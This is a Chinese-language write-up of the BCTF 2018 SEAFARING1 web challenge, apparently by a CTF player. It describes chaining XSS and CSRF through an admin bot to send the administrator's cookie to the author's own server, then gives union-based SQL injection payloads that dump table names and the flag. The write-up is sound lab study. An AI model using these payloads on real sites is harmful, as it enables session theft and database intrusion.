11月打了几场线下,回来就做了做 BCTF 的题,无奈自己水平不够,题目质量也很高,做了半天还是没摸到什么门路,前端太差。
看一下 BCTF 的 Web 解题情况就了解了题的难度2333:
由于各种事情加上摸鱼摸了一段时间,现在才来复现一下 BCTF 的题,小西师傅出的题有丶难,要好好学下前端了…
SEAFARING 这两道题,小西师傅的出题分享及 docker:http://momomoxiaoxi.com/ctf/2018/12/01/BCTF2018seafaring/
题目还在小西的服务器上开着,地址:http://ctf.momomoxiaoxi.com:9999
SEAFARING1
做这个题的时候开始一直以为留言处有 xss,发现过滤了很多东西,发现了 /admin/handle_message.php
不会利用,太菜了。
其实留言处有个 bot,会访问指定的地址。而 robots.txt 中 /admin/handle_message.php
泄露了一些 api:
admin/index.php
1 |
|
/admin/handle_message.php
直接将 post 的 token 输出了:
猜想这里有 xss, /
被转义了,尝试弹框:
可以通过 xss+csrf 的方式打 cookie,在自己 vps 上放一段自动请求/admin/handle_message.php
的代码,带上管理员的 cookie,就可以打到管理员的 cookie。
在自己的 vps 上放一个 gml.html:
1 | <form method="post" action="http://ctf.momomoxiaoxi.com:9999/admin/handle_message.php"> |
这里采用了 @zzm 师傅的方式,采用 base64 编码,小西师傅出题笔记里用的是 String.fromCharCode 。
在 contact.php
里让 bot 访问自己 vps 上的 gml.html,同时监听 2333 端口:
可以打到管理员的 cookie。
进了管理员后台,发现 contact.php
里有个 web2 的提示:
显然 web1 应该还有别的东西。
开始的时候我们发现泄露的 api 里,有一个 status 参数:
1 | function view_unreads() { |
这里 status 处存在注入,我们 post 正确的 token ,发现只有服务器本地可以交互:
所以要 xss+csrf 获取内容,而每次要 post 正确的 token,所以要写个 js 来请求页面获得正确的 token 并提交。
payload 如下:
1 | <script> |
把这段 base64 编码,放入 gml.html 中:
1 | <form method="post" action="http://ctf.momomoxiaoxi.com:9999/admin/handle_message.php"> |
让 bot 访问,打回来的信息:
1 | token=53fa3bf04f6342ed2bbad38c3ce08af6&content={"result":"","error":"sql query error! debug info:SELECT timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=-1 order by 3# ORDER BY id DESC limit 0,50"} |
把报错信息都给出来了,看数据库:
1 | status=-1 union select 1,database(),3,4# |
返回:
1 | ?token=71824ddc687a213d91b0376c81aa0dae&content={"result":[["1","bctf2018","3","4"]],"error":""} |
看表:
1 | status=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() |
返回:
1 | token=9914988256d8169f0d3d4bd4b3e45285&content={"result":[["1","admin","3","4"],["1","f111111ag","3","4"],["1","feedbacks","3","4"]],"error":""} |
查 flag:
1 | status=-1 union select *,2,3,4 from f111111ag# |
返回:
1 | /?token=8be48bdbe1c914d11532f9bd4b6a192d&content={"result":[["bctf{XsS_SQL1_7438x_2xfccmk}","2","3","4"]],"error":""} |
bctf{XsS_SQL1_7438x_2xfccmk}